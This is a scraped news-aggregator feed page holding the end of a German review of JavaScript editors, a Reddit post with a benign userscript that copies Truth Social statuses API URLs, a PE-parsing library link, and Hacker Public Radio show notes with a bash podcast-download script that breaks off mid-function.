Bei Atom handelt es sich um eine spezialisierte Variante von Chromium, die eher als Texteditor denn als Webbrowser konzipiert ist. Jedes Atom-Fenster ist im Wesentlichen eine lokal gerenderte Webseite.

>
Der Open-Source-Editor von GitHub kann in der Praxis Ăźberzeugen.

IDG

In der Praxis zeigt sich Atom performant. Der Editor ist sofort einsatzbereit und Ăźberzeugt unter anderem mit:

  • einem “Fuzzy-Finder”,
  • der MĂśglichkeit, schnell und projektĂźbergreifend zu suchen,
  • Multi-Cursor- und Windows-Optionen,
  • Snippets und Code-Folding sowie
  • der MĂśglichkeit, TextMate-Grammatiken und -Themen zu importieren.

Atom ist insbesondere praktisch, um Repositories zu durchsuchen, die von GitHub geklont wurden, weil die GitHub-Applikation zu diesem Zweck ein Kontextmenßelement enthält.

  • Preis: kostenlos;
  • Plattformen: Windows, macOS, Linux;

Notepad++

Ein weiterer kostenloser Open-Source-Editor, der gut für JavaScript geeignet ist – allerdings nur auf Windows läuft. Notepad++ unterstützt außerdem etwa 50 weitere Programmier- und Markup-Sprachen. Neben seinem Multi-Document-Editing-Fenster bietet dieser Editor auch eine “Workspace Tree View”, sowie Registerkarten mit Funktionslisten und Dokumentenübersicht. In der Praxis bekommt man dabei nie das Gefühl, ausgebremst zu werden.

Mit Syntax-Farb- und -Folding-Optionen, leistungsstarken Editing-Funktionen sowie Paramter-Hints hat Notepad++ das Zeug zum primären JavaScript-Texteditor. Allerdings ist es bei weitem nicht der umfassendste JavaScript-Editor, wenn es darum geht:

  • Code zu generieren,
  • Refactoring anzustoßen oder
  • schnell durch große Projekte zu navigieren.

Nichtsdestotrotz ist Notepad++ ist auch heute noch nützlich – vor allem, wenn es schnell und kostenlos gehen muss.

  • Preis: kostenlos;
  • Plattform: Windows;

BBEdit

Mit BBEdit steht auch fßr macOS-Benutzer ein proprietärer JavaScript-Editor bereit. Er unterstßtzt etwa 35 Programmier- und Markup-Sprachen. Fßr viele weitere Sprachen ist Community-Support (von unterschiedlicher Qualität) ßber die BBEdit-Website verfßgbar. Sowohl die kostenlose als auch die lizenzierte Version bieten Syntaxhervorhebung. Code-Vervollständigung fßr Funktions- und Variablennamen, einige Keywords und ctags bleiben den Nutzern der kostenpflichtigen Version vorbehalten. Diese lässt sich auch in die Versionskontrollsysteme Git, Perforce und Subversion integrieren.

BBEdit wurde bereits vor einiger Zeit grundlegend überarbeitet und überzeugt in der Praxis nun auch, wenn es größere Dateien verarbeiten muss. Auch was HTML und Markdown angeht, gibt es nichts zu beanstanden – das funktioniert sogar besser als JavaScript.

  • Preis: kostenlose aber eingeschränkte Version; 59,99 Dollar pro Benutzer fĂźr die Vollversion;
  • Plattform: macOS;

TextMate

Dieser (ebenfalls macOS-exklusive) Code-Editor war einmal der letzte Schrei, verlor dann stark an Bedeutung und wird inzwischen wieder aktiv weiterentwickelt. TextMate ist zwar keine IDE, lässt sich aber ßber Bundles, Snippets, Makros und sein Scoping-System mit Funktionen ausstatten, die selbst sprachspezifische Entwicklungsumgebungen vermissen lassen. Was die Geschwindigkeit angeht, ist TextMate fast so schnell wie Sublime Text.

Fßr eine IDE-ähnliche Funktionalität kÜnnen Sie die Shell-Integration von TextMate verwenden, erwarten Sie aber kein Code Refactoring oder automatische Unit- und Regressionstests. Wenn Sie Grunt richtig einrichten, kÜnnen Sie Ihre JavaScript-Tests auf dieser Ebene natßrlich trotzdem automatisieren.

>
TextMate bietet diverse Bundles.

IDG

Auch Support fßr Markdown wird ßber ein integriertes Bundle bereitgestellt. Dieses enthält:

  • eine Preview-Funktion fĂźr Dokumente,
  • ein Markdown-„Cheatsheet“ sowie
  • diverse Tastenkombinationen, um Markup zu generieren.

Um TextMate mit Git und GitHub zu integrieren, eignet sich hingegen das Git-Bundle gut. In der Praxis erkennt TextMate vorhandene Git-Repositories und kann diese per Pull-Befehl aus dem Bundle von GitHub aktualisieren. Mit dem SQL-Bundle kĂśnnen Sie mit MySQL- und PostgreSQL-Datenbanken arbeiten.

  • Preis: kostenlos;
  • Plattform: macOS;

(fm)

Dieser Beitrag ist im Original bei unserer Schwesterpublikation Infoworld.com erschienen.

]]> <![CDATA[TruthSocial are selling their API - want it for free?]]> https://tsecurity.de/de/3685131/malware-trojaner-viren/truthsocial-are-selling-their-api-want-it-for-free/ https://tsecurity.de/de/3685131/malware-trojaner-viren/truthsocial-are-selling-their-api-want-it-for-free/ Wed, 22 Jul 2026 04:37:05 +0200 ⚠️ Malware / Trojaner / Viren tsecurity.de TruthSocial are selling their API - want it for free?

So, he's selling access to the "upcoming" official API. I didn't want to provide my mobile number to sign up, and the huge number of ads was pissing me off, so I dug around and found the API, which they're claiming doesn't exist:

(source: https://s3.amazonaws.com/b2icontent.irpass.cc/2660/rl168199.pdf )

I had a feeling that there would be something to find if I kept digging. I found the Trump Mobile leak, and in comparison, finding this was easy!

A few examples:

Trump's: https://truthsocial.com/api/v1/accounts/107780257626128497/statuses?exclude_replies=true

White house's: https://truthsocial.com/api/v1/accounts/113686491998750334/statuses?exclude_replies=true

The Trump Organization: https://truthsocial.com/api/v1/accounts/108126733623665147/statuses?exclude_replies=true

I've already tipped off a few contacts at news outlets and a couple YouTubers in case anyone wants to look into it further and figured I want to spread word as much as possible, so here we are.

Here's a Tampermonkey Userscript to add a button to all profiles which auto finds the account ID and copies the API URL for that account:

// ==UserScript== // Truth Social API URL Copy Button // trump-truth-site // 2.0 // Adds a button above the media grid on Truth Social profile pages that copies the statuses API URL for that account // UnusualTardigrade // https://truthsocial.com/@* // none // document-idle // ==/UserScript== (function () { 'use strict'; console.log('[TS API Button] userscript loaded'); const BUTTON_ID = 'ts-api-copy-btn'; // The media grid on a profile page. Button is inserted just above it. const GRID_SELECTOR = '.grid.grid-cols-3.gap-1.rounded-lg'; let lastUsername = null; let currentAccountId = null; let buttonEl = null; function getUsernameFromUrl() { const m = location.pathname.match(/^\/@([^/]+)/); return m ? m[1] : null; } function buildStatusesUrl(id) { return `https://truthsocial.com/api/v1/accounts/${id}/statuses?exclude_replies=true`; } function ensureButton() { if (buttonEl) return buttonEl; const btn = document.createElement('button'); btn.id = BUTTON_ID; btn.textContent = 'Copy API URL'; Object.assign(btn.style, { display: 'block', width: '100%', boxSizing: 'border-box', margin: '0 0 8px 0', padding: '10px 16px', background: '#ff4d4d', color: '#fff', border: 'none', borderRadius: '8px', fontSize: '14px', fontWeight: '600', fontFamily: 'system-ui, sans-serif', cursor: 'pointer', boxShadow: '0 1px 3px rgba(0,0,0,0.2)', opacity: '0.95', transition: 'opacity 0.15s, background 0.15s', }); btn.disabled = true; btn.addEventListener('mouseenter', () => { if (!btn.disabled) btn.style.opacity = '1'; }); btn.addEventListener('mouseleave', () => { if (!btn.disabled) btn.style.opacity = '0.85'; }); btn.addEventListener('click', async () => { if (!currentAccountId) return; const url = buildStatusesUrl(currentAccountId); try { await navigator.clipboard.writeText(url); flashButton(btn, 'Copied!', '#2ecc71'); } catch (e) { // Fallback for contexts where clipboard API is blocked const ta = document.createElement('textarea'); ta.value = url; ta.style.position = 'fixed'; ta.style.opacity = '0'; document.body.appendChild(ta); ta.select(); document.execCommand('copy'); document.body.removeChild(ta); flashButton(btn, 'Copied!', '#2ecc71'); } }); buttonEl = btn; return btn; } function applyInlineStyle(btn) { Object.assign(btn.style, { position: 'static', top: '', right: '', bottom: '', left: '', zIndex: '', display: 'block', width: '100%', margin: '0 0 8px 0', borderRadius: '8px', boxShadow: '0 1px 3px rgba(0,0,0,0.2)', }); } function applyFixedStyle(btn) { Object.assign(btn.style, { position: 'fixed', top: '80px', right: '24px', left: '', bottom: '', zIndex: '2147483647', display: 'block', width: 'auto', margin: '0', borderRadius: '999px', boxShadow: '0 2px 8px rgba(0,0,0,0.3)', }); } function placeButton(btn) { const grid = document.querySelector(GRID_SELECTOR); if (grid) { const wrapper = grid.parentElement || grid; if (wrapper.previousElementSibling !== btn) { applyInlineStyle(btn); wrapper.parentNode.insertBefore(btn, wrapper); } return; } if (btn.parentElement !== document.body) { applyFixedStyle(btn); document.body.appendChild(btn); } } function flashButton(btn, text, color) { const prevText = btn.textContent; const prevBg = btn.style.background; btn.textContent = text; btn.style.background = color; setTimeout(() => { btn.textContent = prevText; btn.style.background = prevBg; }, 1200); } function setButtonState(btn, { loading, id, username }) { if (loading) { btn.disabled = true; btn.style.opacity = '0.5'; btn.textContent = 'Loading ID…'; } else if (id) { btn.disabled = false; btn.style.opacity = '0.85'; btn.style.background = '#ff4d4d'; btn.textContent = `Copy API URL (@${username})`; } else { btn.disabled = true; btn.style.opacity = '0.5'; btn.textContent = 'No account found'; } } function fetchAccountId(username) { const btn = ensureButton(); setButtonState(btn, { loading: true }); currentAccountId = null; fetch(`https://truthsocial.com/api/v1/accounts/lookup?acct=${encodeURIComponent(username)}`, { credentials: 'include', }) .then((res) => (res.ok ? res.json() : Promise.reject(res.status))) .then((data) => { if (getUsernameFromUrl() !== username) return; currentAccountId = data.id; setButtonState(btn, { loading: false, id: data.id, username: data.username }); }) .catch(() => { if (getUsernameFromUrl() !== username) return; setButtonState(btn, { loading: false, id: null }); }); } function checkForUsernameChange() { const username = getUsernameFromUrl(); if (!username) { if (buttonEl) buttonEl.remove(); lastUsername = null; return; } if (username !== lastUsername) { lastUsername = username; fetchAccountId(username); } } function tick() { checkForUsernameChange(); if (buttonEl && getUsernameFromUrl()) placeButton(buttonEl); } const origPushState = history.pushState; const origReplaceState = history.replaceState; history.pushState = function (...args) { origPushState.apply(this, args); setTimeout(tick, 0); }; history.replaceState = function (...args) { origReplaceState.apply(this, args); setTimeout(tick, 0); }; window.addEventListener('popstate', () => setTimeout(tick, 0)); setInterval(tick, 1000); tick(); })();

The data downloaded as JSON:

https://preview.redd.it/xpg5ok01rgeh1.png?width=2017&format=png&auto=webp&s=a9ef57711b0046501c36ad2b3dec16792896f9e2

I think that's all. Any questions, lemme know! Enjoy

submitted by /u/UnusualTardigrade
[link] [comments] ]]> <![CDATA[GitHub - NtProtectVirtualMemory/PE-Library: A modern C++ library for parsing and manipulating Windows Portable Executable (PE) files.]]> https://tsecurity.de/de/3685128/malware-trojaner-viren/github-ntprotectvirtualmemorype-library-a-modern-c-library-for-parsing-and-manipulating-windows-portable-executable-pe-files/ https://tsecurity.de/de/3685128/malware-trojaner-viren/github-ntprotectvirtualmemorype-library-a-modern-c-library-for-parsing-and-manipulating-windows-portable-executable-pe-files/ Wed, 22 Jul 2026 04:37:01 +0200 ⚠️ Malware / Trojaner / Viren tsecurity.de GitHub - NtProtectVirtualMemory/PE-Library: A modern C++ library for parsing and manipulating Windows Portable Executable (PE) files. submitted by /u/Effective-Fly7516
[link] [comments] ]]> <![CDATA[GitHub - NtProtectVirtualMemory/PE-Library: A modern C++ library for parsing and manipulating Windows Portable Executable (PE) files.]]> https://tsecurity.de/de/3685109/reverse-engineering/github-ntprotectvirtualmemorype-library-a-modern-c-library-for-parsing-and-manipulating-windows-portable-executable-pe-files/ https://tsecurity.de/de/3685109/reverse-engineering/github-ntprotectvirtualmemorype-library-a-modern-c-library-for-parsing-and-manipulating-windows-portable-executable-pe-files/ Wed, 22 Jul 2026 04:10:44 +0200 🕵️ Reverse Engineering tsecurity.de /u/Effective-Fly7516
[link] [comments]]]> <![CDATA[HPR4688: Downloading Podcasts with a Shell Script]]> https://tsecurity.de/de/3685037/podcasts/hpr4688-downloading-podcasts-with-a-shell-script/ https://tsecurity.de/de/3685037/podcasts/hpr4688-downloading-podcasts-with-a-shell-script/ Wed, 22 Jul 2026 02:06:46 +0200 🎥 Podcasts tsecurity.de This show has been flagged as Clean by the host.

01 Introduction

In this episode I will describe techniques for downloading podcasts using basic shell commands such as wget.

I will illustrate this using a bash script that can be used to download HPR podcasts.

Even if you do not have any interest in downloading your podcasts using this method, you may find some of the methods useful or interesting.

It is the principles that are discussed here that are important, rather than the implementation.

02

I realize that there are already a number of different podcast download programs available, including at least one written in bash.

However, you may feel that none of these suit how you wish to do things and want to create your own system tailored to your specific needs.

If so, then I hope the following is of some use to you.

If not, then you may still find some of the things discussed here to still be of interest.

Some of the subjects I cover include

wget to a user defined file name.

parsing xml with xmllint.

using inotifywait to trigger an action when a file is created or modified.

using notify-send to send a message to the notification area.

and

a way of allowing a cron job to send a message to the user interface.

03 Background

There has been an ongoing discussion in comments to some HPR episodes about problems downloading HPR podcast episodes.

Apparently some people have been experiencing problems with the way the episode URLs are structured.

04

I am afraid that I don't fully understand the nature of these problems, so I won't be addressing that problem directly.

Instead, I will present a bash script that I have written which can be used to download HPR podcasts.

This bash script can be run using cron to automatically fetch new HPR podcasts and save them to a designated directory.

This is a simplified version of a script that I have used for years to download HPR and other podcasts.

05

I won't try to read the full bash script out in this podcast, as that would be a bit dull to listen to.

I will instead describe what each section does and why I chose to do things that way.

Perhaps other people can offer suggestions of better ways to do things.

I will post the full bash script in the show notes.

06 Fetching Podcasts

The standard way of distributing podcasts is to publish an RSS feed containing URL links to the audio files.

RSS is a very long established and widely supported mechanism for this and other purposes.

An RSS feed is basically an XML document which can be accessed over HTTP.

These URLs contained in the RSS XML document can then be used to download the actual audio files, such as MP3 or OGG files.

07

Basically what we need to do is the following

• Download the RSS XML document.

• Extract the URL links to the audio files.

• Compare the list of these links to a previously saved list to see which ones are new and which ones are ones that we previously downloaded.

08

• Make a list of the new URLs.

• Go through this list of new URLs and download each of the new audio files.

• Check to see that we actually received the new audio file.

• Add the URLs of the files we successfully downloaded to our saved list of podcast URLs

09

In addition to this, we would like to have the above happen automatically in the background without our having to take any action on our own.

We may wish to receive a notification of when a new podcast has arrived however.

We would probably also wish to receive notification of any errors or failures.

10 Fetching Podcasts - The Preliminaries

Our desire to be able to run the script automatically imposes some requirements on our solution.

To schedule the script we will use cron.

Cron is a Linux facility to run scripts on a schedule.

11

One of the side effects of using cron however is that we need to specify the full path to the locations where we intend to keep any data files, plus also the full path to where we intend to put the downloaded podcasts.

12

So the first thing we need to do in our script is to specify a number of different values for things like file location, the URL for the HPR RSS feed, and several other things as well.

I will skip over the details of these, although I may make reference to them later.

13 Get the RSS Data

The first thing of real substance to do is to fetch the current RSS feed data.

I have put this in a bash function called getrssurldata

The contents of this function are a one liner, but with a number of elements chained together through pipes.

14 Downloading the RSS XML Document

• First we use wget, which is a standard command on most Linux distros.

• We specify four things.

• First we set a timeout. I have chosen 20 seconds.

• Next we set the retry limit. I have chosen 3.

15

• Then we specify that the output of wget is sent to stdout rather than saved as a file.

• This is done by using the -O option followed by a space and then a dash.

• The O option is usually used to specify a file to save the output to, but when used with a dash causes output to go to stdout.

• Then we specify the URL of the HPR RSS feed.

16 Contents of the XML Document

This gives us the HPR RSS XML document.

There are about 5,000 lines in this RSS document.

Most of those lines are the show notes which are also included in the feed.

17 Extracting the Podcast Episode URLs

There are only 10 lines of the document that contain information that we are interested in however.

These lines are enclosed in "enclosure" XML tags.

We just need to find those lines and separate out the URLs

18 Standard Command Line Tools

There are two ways that we can do this.

One is to use a combination of grep, sed, and cut.

Grep can find the lines containing the enclosure tags.

Sed and cut can extract the URL from the surrounding extraneous data.

19

However, this method does not discriminate between real enclosure tags in the data portion of the RSS feed and enclosure tags in the show notes which are included in the feed from episodes such as this one.

This may be an acceptable problem in practical terms, but we can do better.

20 Using an XML Parser

The other method is to actually parse the XML document.

there are at least two command line XML parsers that I am aware of.

These are "xmllint", and "xlmstarlet".

I have used xmllint in this example.

I have not used xmlstarlet, so I can't offer any comment on how easy or difficult to use it is.

21

I won't give a detailed explanation of all the things that xmllint can do.

It has many features, most of which, as the name suggests, have to do with finding formatting problems with the XML itself.

Describing everything it can do would be at least one episode in itself.

I will instead just give the particular command used and explain each element of it.

22

In this example assume that we are piping the output of wget directly into xmllint.

The complete command is

xmllint --xpath "//channel/item/enclosure/@url" - | cut -d'"' -f2

23

In this example,

xmllint is the name of the command.

--xpath tells it to parse the document according to the string which follows.

"//channel/item/enclosure/@url" tells it to find a series of tags in the hierarchy of channel, followed by item, followed by enclosure, and then extract the url attribute from the enclosure tag.

The "-" which follows tells it to look for input from stdin rather than from a file.

24

The result is a string which has the url attribute name, an equal sign, and the URL that we want enclosed in quotes.

To get just the URL itself, we pipe the output from xmllint into cut, using the doublequote characters as delimiters.

We then save the result in a temporary file.

25 Finding the New Episodes

Next we wish to find the new podcast episodes.

Each HPR episode is identified by a unique URL.

This means that if we save the URLs of episodes that we have already downloaded, we just have to look for the URLs that do not appear in this saved list.

https://hub.hackerpublicradio.org/ccdn.php?filename=/eps/hpr4659/hpr4659.mp3

26

The easiest way to do this is to take our two lists of URLs, sort each into temporary files, and then compare the sorted URLs using the "comm" command.

27

This is simple, but has a drawback.

Some podcasts occasionally change distributors.

When they do this, the old podcasts are re-published with new URLs and you end up downloading a lot of old episodes over again.

28

With HPR we could get around this by extracting just the file name and looking for that instead of the full URL.

I will however leave that problem as an exercise for the student and just accept that if the URL format changes we may end up downloading old episodes over again.

Since the feed has a maximum of only 10 episodes in it however, that isn't really that big of a problem.

It would be more of a problem with podcasts which have very large numbers of episodes in their feed, but the solutions to those will be feed specific.

29 Downloading the New Podcasts

We should now have a list of URLs for the new podcasts we do not already have.

Typically this should be only one file, but there could be several, or even as many as 10, if we have not turned on our computer in a while.

Therefore, we need to iterate through the file of new podcast URLs and download each one.

30

Before we do that however, we should check to see if there is in fact anything new to download.

To do this, simply use "wc -l" to count the number of lines in the list of new URLs and save the resulting number.

31

If this number is zero, there is nothing to download, we can skip the download step.

As an additional check, we should see if the number of downloads exceeds some threshold value that we wish to set.

This is not a major problem with HPR, but some podcasts have hundreds of files in their RSS feed rather than just the most recent ones.

If we do exceed our download limit, then we need to log an error and skip downloading.

32

Assuming there are no problems so far however, the first thing we need to do is to extract the name of the audio file from the URL.

We can do that using the "basename" command.

We will use this to specify the name that we use when we save the audio file.

33

HPR has a very well formed file name.

Some podcasts do not however, and for those you would need to construct some sort of suitable name either using information found in the URL or simply creating a name using a time stamp.

34

Next we download the audio file using wget.

This is similar to how we downloaded the RSS feed, but with a few changes.

One is that I have increased the timeout to 90 seconds.

This may not have been necessary, but seemed like a good idea.

35

The next is that when specifying the output file name using -O, we use the file name we extracted from the URL.

The third is that we specify a destination directory using the -P option.

36

After wget has finished, including any retries that it had to do, we next check that the expected new file is both present and not empty.

We did this using an "if" statement with the "-s" option.

If the file was found and not zero, then we add that URL to a temporary list of downloaded URLs.

37

If the file was not present, or was zero length, we output an error message to an error log.

I will come back to this point later.

38

Next, if there is more that one podcast to download we sleep for 3 seconds.

While not strictly necessary, it is considered to be "polite" to not hammer a server repeatedly, but rather to put a small delay between file downloads..

39

After we have downloaded all the audio files in our list, we can add the list of URLs for the files downloaded to the permanent list.

While we are at it, we should use "tail" to trim the permanent log to keep it from growing indefinitely.

This limit should be several times bigger than the number of files in the RSS feed.

In this case I selected 50.

40

Finally we write any errors to the permanent error log, and also write these same errors to another file used to signal errors for display to the user.

We have now successfully downloaded at least one HPR podcast.

41 Notify the User of Events

It would be convenient to be informed of new podcast downloads when they occur, and also be notified of any errors.

One of the limitations of cron jobs is that they cannot access the user interface.

This means that we cannot readily send a message directly to the notification system to inform the user of the presence of new podcasts or of errors.

42 inotifywait

The solution to this is to use "inotifywait" to monitor particular files and directories for changes.

The man page for inotifywait states the following -

43

inotifywait efficiently waits for changes to files using Linux's inotify(7) interface. It is suitable for waiting for changes to files from shell scripts. It can either exit once an event occurs, or continually execute and output events as they occur.

End of quote.

44

In many Linux distros, inotifywait is provided by the "inotify-tools" package.

I won't go over all the features of inotifywait.

Instead, I will just describe how to use it for our purposes here.

45 inotifywait Modes

I should point out first though that inotifywait operates in two different modes.

In the normal default mode, it exits after being triggered by an event and must be re-established again in order to resume monitoring.

In monitor mode, which is enabled by using the "-m" option, it runs indefinitely, responding to events.

I will use the default mode here.

46

The man page for inotifywait provides a simple example that we could copy and modify for our purposes.

A great many examples that you will find are based on this example.

However, it doesn't quite do what we want, so we need to change a few things.

47 podfetchnotify

The first shell script is one which monitors for the arrival of new podcasts and sends a notification to the user.

I will call this "podfetchnotify".

The complete scripts are in the show notes, I will just provide a brief description here.

48 Setting Up Event Watches Using inotifywait

The script is enclosed in a while loop which run indefinitely.

In the first line inside the while loop, we call inotifywait.

inotifywait will then block until the event it is told to look for occurs.

In short, execution of the script will wait there until an event occurs.

49

The names of the events are listed in the man file.

In this case we are looking for "modify", "create", and "moved_to".

Each of these does pretty much as you would expect, reacting to modifying an existing file, creating a new file, or moving a file to that directory.

50 Problems When Testing Using Text Editors

I should point out that if you are testing a script which uses inotifywait, then modifying a file with a text editor may not produce the results that you may think it would.

Instead it treats this as a new file with the same name, with the original file being erased.

Since inotifywait attaches itself to the inode rather than the filename, it sees the file that the text editor changed as being a new file.

If you wish to test this realistically, then use "echo" to overwrite the file by using I/O redirection.

51 Capturing Output

In my example I capture the output from standard out into a variable, but I don't do anything with it.

If you wish to for example display the name of the newly downloaded podcast file, then use the --format option along with an appropriate formatting code.

There are details about this in the man page.

On the next line we capture the exit code using "$?"

52 Responding to Exit Codes

If the exit code was zero, then a monitored event was triggered and there should a new podcast in the directory.

In this case we display a message indicating that a new podcast has arrived.

I will describe how to send notifications shortly.

If the exit code was not zero, then an error occurred.

An example of such an error would be if the directory were not present when monitoring was started.

In this case we display a message indicating that a fatal error has occurred and then exit.

53 Delay for More Podcasts

Finally, we use "sleep" to wait for some arbitrary period of time to prevent notifications from being triggered multiple times if several podcasts were being downloaded in succession.

In this case I chose to wait for 60 seconds.

54

We have now completed the process and can return to the top of the loop and resume waiting using inotifywait.

55 Sending Notifications to the User

I mentioned above about sending notification messages to the user.

In the Gnome desktop, notification messages appear from the centre of the top bar in a list.

Other desktops or operating systems may have something similar.

56

To send a notification message to the notification area, you use the "notify-send" command.

Simply follow notify-send with a quoted string and it will be displayed in the notification area.

57 podfetcherrornotify

The second shell script is one which notifies the user of errors.

I will call this "podfetcherrornotify".

With this shell script we set up a watch on a file which contains any error messages from podfetch.

This script is very similar to podfetchnotify.

58

The exceptions are

With inotifywait we only monitor for "modify".

There is no sleep command at the end of the loop.

Instead we sleep for a few seconds just after getting the exit code from inotifywait.

This helps prevent problems caused by race conditions.

59

Next we check the inotifywait exit code.

If it was zero, then we read the error report file and send a notification message to the user containing that error message.

60

If it was not zero, then we check to make sure that the directory that should contain the error log exists.

If it does not exist, then we send a notification message to that effect to the user and terminate the script.

61

If the directory exists, then we check to see if the error message file used for signalling exists.

If the file does not exist, then we create it.

62

One of the reasons for an inotifywait error is that if the file that it is told to monitor does not exist, it cannot set up a watch condition.

By creating the file we correct the cause of the error and allow inotifywait to operate normally.

63

Finally we increment an error counter and check to see if the limit is exceeded.

If there are excessive errors, then send a notification message to the user and exit.

The reason for this is to give the user an indication that the error notifications are not working for some reason and there may be a problem that needs looking into.

64

The error counter is reset every time the inotifywait exit status is ok, so occasional unexpected glitches should be something that is ignored.

Of course podcast fetching errors are something that will probably happen only rarely if at all, so this final step may be seen as an unnecessary embellishment.

65 Installing the Scripts

Next I will describe how to install and prepare the scripts to run.

We need to perform the following steps.

66

• First, we need to create a directory to hold the scripts and their associated data files.

• Next we need to create a directory to hold the downloaded podcasts.

• Then we must copy the scripts to these directories and make them executable.

• Then, we must edit the scripts to have the file path in the script match the locations of the new directories that we created.

67

• Then we need to install xmllint, or alternatively modify the download script to comment out the use of xmllint and enable the alternative method using grep and sed instead.

• Then we need to run each script manually from the command line to check for errors.

• If podfetch ran correctly, it should download the most recent 10 podcasts during this test.

68 Adding podfetch to the Crontab

The above describes how to run the scripts manually.

In order to fetch podcasts automatically, we need to add the podfetch script to the cron schedule.

To do this, open a terminal.

69

Type "crontab -e", and then press return.

A text editor should open up containing the crontab file.

On Ubuntu, this editor is GNU nano.

Enter the appropriate cron parameters.

I will provide an example here for running it 12 minutes past the hour every three hours.

70

12 */3 * * * /home/username/pathtofiles/podfetch.sh

71

I won't explain cron in detail here.

The example that I have just given should be good enough for most people.

The "*/3" parameter will cause it to run every three hours.

The "12" parameter will cause it to run 12 minutes past the hour when it does run.

72

Checking every three hours should be good enough for most people, but you can adjust that as you see fit.

I would recommend however that you don't check more frequently than once per hour.

Checking more frequently than necessary puts extra load on the distribution servers.

It is very unlikely that you really do need each new episode the moment it is available.

73

I would also recommend changing the "12" parameter to some other random minute value.

I would suggest avoiding on the hour or on the half hour, as a lot of other people are probably checking at those times, and it would be better to spread the load out more evenly over time.

74

The file path parameter should of course match the actual path to wherever you have located the script, including the correct user name.

75 Making the Notification Scripts Start Automatically

The two notification scripts can be made to start automatically.

The exact method to do this may vary according to distribution or desktop.

76

On Ubuntu this is done using the Startup Applications Preferences GUI program, which should come already installed.

77

I won't go into details on this here, it should be fairly self evident how to use it once you see it.

What this program does is to create ".desktop" files in the ".config/autostart" directory in your home directory.

78

These ".desktop" files are all run automatically on start up.

Once you have added the notification scripts, you will need to log out and then log back in to make them active.

79 Conclusion

I this episode I explained how to write a set of simple shell scripts to automatically download each new episode of HPR as it comes out and to notify you of its arrival.

80

The download script described here is tailored specifically for use with HPR only.

However, it was derived from a larger script that downloaded other podcasts as well, based on information read in from a text file.

If you are feeling ambitious, you can add those features back into this to handle all of the podcasts that you listen to.

81

In a comment to another episode of HPR I had said that I would cover ID3 tags in MP3 files, but this episode is long enough now, so I will leave that subject for later.

I look forward to seeing you again later on another episode of Hack Public Radio.

# ======================================================================

podfetchdownloader

#!/bin/bash

# Fetch pending HPR podcasts listed in the HPR RSS feed.

# 8-Jun-2026

# Licensed under GPLv3 or later.

# ======================================================================

# Today's date and time as YYYYMMDDHHMMSS.

podttimestamp=$( date +"%Y%m%d%H%M%S" )

# The absolute path to the script. This is necessary when running it

# using a cron job.

podpath="/home/me/Apps/hprfetch"

# This is the absolute path to where to store the podcast files.

podfilepath="/home/me/Music/Podcasts/HPR"

# Create the full path names here for all the text files used.

podcastsfetched="$podpath/podcastsfetched.txt"

poderrorslog="$podpath/poderrorslog.txt"

poderrorsreport="$podpath/poderrorsreport.txt"

tmpoldurlssorted="$podpath/tmpoldurlssorted.txt"

tmppodsnew="$podpath/tmppodsnew.txt"

tmppodstodownload="$podpath/tmppodstodownload.txt"

tmppodserrors="$podpath/tmppodserrors.txt"

tmppodcastsfetched="$podpath/tmppodcastsfetched.txt"

tmplog="$podpath/tmplog.txt"

# The URL for the HPR RSS feed.

PodURL="http://hackerpublicradio.org/hpr_rss.php"

# Limit on number of podcasts to download.

DownloadLimit=11

# Name of the podcast.

PodName="Hacker Public Radio"

# ======================================================================

# Check if the required paths exist.

# If this path does not exist, cannot log the error.

if [[ ! -d "$podpath/" ]]; then

echo "$podttimestamp Error - Could not find $podfilepath."

exit 1

fi

# Where to store the podcast file fetched.

if [[ ! -d "$podfilepath/" ]]; then

echo "$podttimestamp Error - Could not find $podfilepath." >> $tmppodserrors

# Copy the errors log from the temporary errors file to the permanent files.

LogErrors

exit 1

fi

# ======================================================================

# Check if the podcast log exists. We read it before we write to it,

# so it must exist or we will hang on it not being present.

if [[ ! -e $podcastsfetched ]]; then

touch $podcastsfetched

fi

# ======================================================================

# Delete the specified files if they exist.

# This accepts multiple file names in a variable number of parameters.

CleanupFiles ()

{

# $@ accepts multiple parameters.

for f in "$@"; do

# Check if the file exists.

if [ -e "$f" ]; then

rm "$f"

fi

done

}

# ======================================================================

# Copy the errors log from the temporary errors file to the permanent files.

LogErrors () {

if [ -e $tmppodserrors ]; then

# The permanent log.

cat $tmppodserrors >> $poderrorslog

# This file is monitored for display by other scripts.

cat $tmppodserrors > $poderrorsreport

fi

}

# ======================================================================

# Get the URL data from an RSS feed

GetRSSURLData () {

wget --timeout=20 --tries=3 -O - "$PodURL" \

| xmllint --xpath "//channel/item/enclosure/@url" - | cut -d'"' -f2 \

| sort > $tmppodsnew

# This is an alternate method that does not use xmllint.

# However, it is not as robust. If someone were to include the

# first grep search pattern in their show notes, then it would

# look for that as a valid tag and output the following text

# as a URL.

#wget --timeout=20 --tries=3 -O - "$PodURL" | grep "<enclosure url=" \

# | sed -n 's/^.*enclosure//p' | sed -n 's/^.*url=//p' \

# | cut -d'"' -f2 | sort > $tmppodsnew

}

# ======================================================================

# Find which podcasts we do not already have.

FindNewPodcasts () {

cat $podcastsfetched | sort > $tmpoldurlssorted

comm -13 $tmpoldurlssorted $tmppodsnew > $tmppodstodownload

rm $tmpoldurlssorted

}

# ======================================================================

# Download the podcasts.

DownloadPodcasts() {

# Clear out previous temporary list of downloaded podcasts.

true > $tmppodcastsfetched

for i in $( cat $tmppodstodownload )

do

# Extract the file name from the URL.

fname=$( basename $i )

outputpodname="$podfilepath/$fname"

# Download the file.

wget --timeout=90 --tries=3 -P $podfilepath $i -O "$outputpodname"

# Check if the file exists and is not empty.

if [[ -s "$outputpodname" ]]; then

echo $i >> $tmppodcastsfetched

else

echo "$podttimestamp Error - $outputpodname was not found or is empty." >> $tmppodserrors

fi

# Delay a reasonable length of time between multiple downloads.

if (( $PodCount > 1 )); then

sleep 3

fi

done

# Add the list of files downloaded to the log.

# Check if the list exists and is not empty.

if [ -s $tmppodcastsfetched ]; then

cat $tmppodcastsfetched >> $podcastsfetched

# Trim the log file to keep it from growing indefinitely.

tail -n50 $podcastsfetched > $tmplog

mv $tmplog $podcastsfetched

fi

# Remove the tmp file now that we are done with it.

rm $tmppodcastsfetched

}

# ======================================================================

# Clean up any left over files.

CleanupFiles "$tmppodsnew" "$tmppodstodownload" "$tmppodserrors" "$tmppodcastsfetched"

# Get the RSS data.

GetRSSURLData

# Find which podcasts are new.

FindNewPodcasts

# Count how many new podcasts there are.

PodCount=$( cat $tmppodstodownload | wc -l )

# If no podcasts to download, skip this.

# If too many podcasts for this feed, then log an error and skip.

# This error will keep repeating until something is done about it.

if (( $PodCount > 0 )); then

